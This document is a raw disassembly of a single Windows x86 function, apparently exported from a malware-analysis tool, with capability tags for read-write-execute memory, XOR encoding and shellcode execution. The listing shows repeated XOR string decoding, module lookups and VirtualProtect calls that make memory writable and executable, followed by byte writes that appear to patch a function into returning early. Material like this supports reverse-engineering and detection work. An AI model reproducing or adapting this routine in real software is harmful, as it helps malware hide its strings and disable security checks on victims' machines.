Function at 0x103e4610
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x3a8
mov eax, dword [0x103fd008]
xor eax, esp
mov dword [esp + 0x3a4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x103fd714]
xor eax, 0x811c9dc5
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x103fd70c], eax
mov dword [ecx + 0x78629c], eax
nop
mov ax, word [0x103f6d98]
xor edx, edx
movq xmm0, qword [str.ZVRYSJ]
mov word [esp + 0x18], ax
mov al, byte [0x103f6d9a]
movq qword [esp + 0x10], xmm0
mov byte [esp + 0x1a], al
mov dword [esp + 8], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e4680
lea eax, [esp + 0x10]
push eax
call esi
test eax, eax
je 0x103e4650
mov ax, word [0x103f6d98]
xor edx, edx
movq xmm0, qword [str.ZVRYSJ]
mov word [esp + 0x18], ax
mov al, byte [0x103f6d9a]
movq qword [esp + 0x10], xmm0
mov byte [esp + 0x1a], al
mov dword [esp + 8], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e46f0
lea eax, [esp + 0x10]
push eax
call esi
nop word [eax + eax]
mov ax, word [0x103f6dc4]
xor ecx, ecx
movq xmm0, qword [str.TUS_]
mov word [esp + 0x18], ax
mov al, byte [0x103f6dc6]
movq qword [esp + 0x10], xmm0
mov byte [esp + 0x1a], al
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
mov dl, cl
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub dl, al
add dl, 0x39
xor byte [esp + ecx + 0x10], dl
inc ecx
cmp ecx, 0xb
jl 0x103e4754
lea eax, [esp + 0x10]
push eax
call esi
test eax, eax
je 0x103e4730
mov ax, word [0x103f6dc4]
xor edx, edx
movq xmm0, qword [str.TUS_]
mov word [esp + 0x18], ax
mov al, byte [0x103f6dc6]
movq qword [esp + 0x10], xmm0
mov byte [esp + 0x1a], al
mov dword [esp + 8], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e47b0
lea eax, [esp + 0x10]
push eax
call esi
xor edx, edx
lea edi, [esp + 0x58]
cmp dword [0x103fd62c], 2
mov ecx, 0x36
mov esi, 0x103f7268
mov dword [esp + 0xc], edx
rep movsd dword es:[edi], dword [esi]
lea esi, [edx + 4]
lea edi, [edx + 0x1f]
jl 0x103e4940
movaps xmm0, xmmword [str.9999999999999999]
xor ecx, ecx
movaps xmm4, xmmword [0x103f7350]
movaps xmm3, xmmword [0x103f73a0]
movaps xmm6, xmmword [0x103f7370]
movaps xmmword [esp + 0x10], xmm0
mov edx, dword [esp + 0x10]
movd xmm5, esi
movd xmm7, edi
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x58]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + ecx + 0x58], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x5c]
pxor xmm1, xmm0
movd dword [esp + ecx + 0x5c], xmm1
add ecx, 8
cmp ecx, 0xd8
jl 0x103e4842
jmp 0x103e4973
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x58], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0xd8
jl 0x103e4940
mov ax, word [0x103f6d98]
xor edx, edx
movq xmm0, qword [str.ZVRYSJ]
mov word [esp + 0x38], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x3a], al
movq qword [esp + 0x30], xmm0
mov dword [esp + 8], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x30], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e49a0
lea edx, [esp + 0x58]
lea ecx, [esp + 0x30]
call fcn.103e3400
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
lea eax, [esp + 0x3a8]
mov dword [esp + 0x3a8], 0
push eax
push 0x40
push 0x10
push esi
call edi
lea eax, [esp + 0x3a8]
mov dword [esi], 0x1b8
push eax
mov dword [esi + 4], 0xcc200
push dword [esp + 0x3ac]
push 0x10
push esi
call edi
mov ecx, 0x31
lea edi, [esp + 0x58]
mov esi, str._ne_f_r
xor edx, edx
cmp dword [0x103fd62c], 2
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 8], edx
movsw word es:[edi], word [esi]
jl 0x103e4b80
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x103f7350]
movaps xmm3, xmmword [0x103f73a0]
movaps xmm6, xmmword [0x103f7370]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x10]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x58]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x58], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x5c]
pxor xmm1, xmm0
movd dword [esp + edx + 0x5c], xmm1
add edx, 8
cmp edx, 0xc0
jl 0x103e4a80
jmp 0x103e4ba7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x58], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xc6
jl 0x103e4b80
mov ax, word [0x103f6d98]
xor edx, edx
movq xmm0, qword [str.ZVRYSJ]
mov word [esp + 0x38], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x3a], al
movq qword [esp + 0x30], xmm0
mov dword [esp + 8], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x30], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e4be0
lea edx, [esp + 0x58]
lea ecx, [esp + 0x30]
call fcn.103e3400
mov ecx, 0x51
lea edi, [esp + 0x260]
mov esi, 0x103f6ec8
inc eax
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov dword [esp + 0x2c], eax
cmp dword [0x103fd62c], 2
mov dword [esp + 8], edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jl 0x103e4dc0
movaps xmm0, xmmword [str.9999999999999999]
mov ecx, 4
movaps xmm4, xmmword [0x103f7350]
movaps xmm3, xmmword [0x103f73a0]
movaps xmm6, xmmword [0x103f7370]
movd xmm5, ecx
mov ecx, 0x1f
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x2c], eax
movd xmm7, ecx
mov ecx, dword [esp + 0x10]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x260]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x260], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x264]
pxor xmm1, xmm0
movd dword [esp + edx + 0x264], xmm1
add edx, 8
cmp edx, 0x140
jl 0x103e4c90
mov dword [esp + 8], edx
cmp edx, 0x147
jl 0x103e4dc0
mov ax, word [0x103f6d98]
mov word [esp + 0x48], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x4a], al
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x2c], eax
jmp 0x103e4e0a
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x260], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0x147
jl 0x103e4dc0
mov ax, word [0x103f6d98]
mov word [esp + 0x48], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x4a], al
movq xmm0, qword [str.ZVRYSJ]
xor edx, edx
movq qword [esp + 0x40], xmm0
mov dword [esp + 8], edx
nop
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e4e20
lea edx, [esp + 0x260]
lea ecx, [esp + 0x40]
call fcn.103e3400
xor edx, edx
mov dword [esp + 0x3c], eax
cmp dword [0x103fd62c], 2
lea edi, [esp + 0x130]
mov ecx, 0x24
mov dword [esp + 0xc], edx
mov esi, 0x103f6dd8
rep movsd dword es:[edi], dword [esi]
jl 0x103e4fd8
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x103f7350]
xor ecx, ecx
movaps xmm3, xmmword [0x103f73a0]
movaps xmm6, xmmword [0x103f7370]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x10], xmm0
mov edx, dword [esp + 0x10]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x130]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + ecx + 0x130], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x134]
pxor xmm1, xmm0
movd dword [esp + ecx + 0x134], xmm1
add ecx, 8
cmp ecx, 0x90
jl 0x103e4ed0
jmp 0x103e501a
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x2c], eax
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x130], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0x90
jl 0x103e4fe4
mov ax, word [0x103f6dc4]
xor edx, edx
movq xmm0, qword [str.TUS_]
mov word [esp + 0x54], ax
mov al, byte [0x103f6dc6]
mov byte [esp + 0x56], al
movq qword [esp + 0x4c], xmm0
mov dword [esp + 8], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x4c], cl
inc edx
mov dword [esp + 8], edx
cmp edx, 0xb
jl 0x103e5042
lea edx, [esp + 0x130]
lea ecx, [esp + 0x4c]
call fcn.103e3400
mov ecx, 0x27
lea edi, [esp + 0x1c0]
mov esi, 0x103f71c8
inc eax
xor edx, edx
mov dword [esp + 8], eax
cmp dword [0x103fd62c], 2
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x2c]
mov dword [esp + 0xc], edx
jl 0x103e5234
movaps xmm0, xmmword [str.9999999999999999]
mov ecx, 4
movaps xmm4, xmmword [0x103f7350]
movaps xmm3, xmmword [0x103f73a0]
movaps xmm6, xmmword [0x103f7370]
movd xmm5, ecx
mov ecx, 0x1f
movaps xmmword [esp + 0x10], xmm0
mov esi, dword [esp + 0x10]
mov dword [esp + 8], eax
movd xmm7, ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x3c], ecx
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x1c0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x1c0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x103f7380]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x1c4]
pxor xmm1, xmm0
movd dword [esp + edx + 0x1c4], xmm1
add edx, 8
cmp edx, 0x98
jl 0x103e5100
mov dword [esp + 0xc], edx
cmp edx, 0x9c
jl 0x103e5234
mov ax, word [0x103f6d98]
mov word [esp + 0x18], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x1a], al
mov eax, dword [esp + 8]
mov dword [esp + 8], eax
mov dword [esp + 0x3c], ecx
jmp 0x103e527e
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x1c0], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0x9c
jl 0x103e5234
mov ax, word [0x103f6d98]
mov word [esp + 0x18], ax
mov al, byte [0x103f6d9a]
mov byte [esp + 0x1a], al
movq xmm0, qword [str.ZVRYSJ]
xor edx, edx
movq qword [esp + 0x10], xmm0
mov dword [esp + 0xc], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [esp + 0xc]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0xc]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x39
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0xb
jl 0x103e5292
lea edx, [esp + 0x1c0]
lea ecx, [esp + 0x10]
call fcn.103e3400
lea esi, [eax + 1]
lea eax, [esp + 0x3a8]
push eax
push 0x40
push 0x10
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
lea eax, [esp + 0x3a8]
push eax
push 0x40
push 0x10
push dword [esp + 0x48]
call edi
lea eax, [esp + 0x3a8]
push eax
push 0x40
push 0x10
push dword [esp + 0x14]
call edi
lea eax, [esp + 0x3a8]
push eax
push 0x40
push 0x10
push esi
call edi
mov ecx, dword [esp + 0x3ac]
pop edi
pop esi
xor ecx, esp
call fcn.103e79ab
mov esp, ebp
pop ebp
ret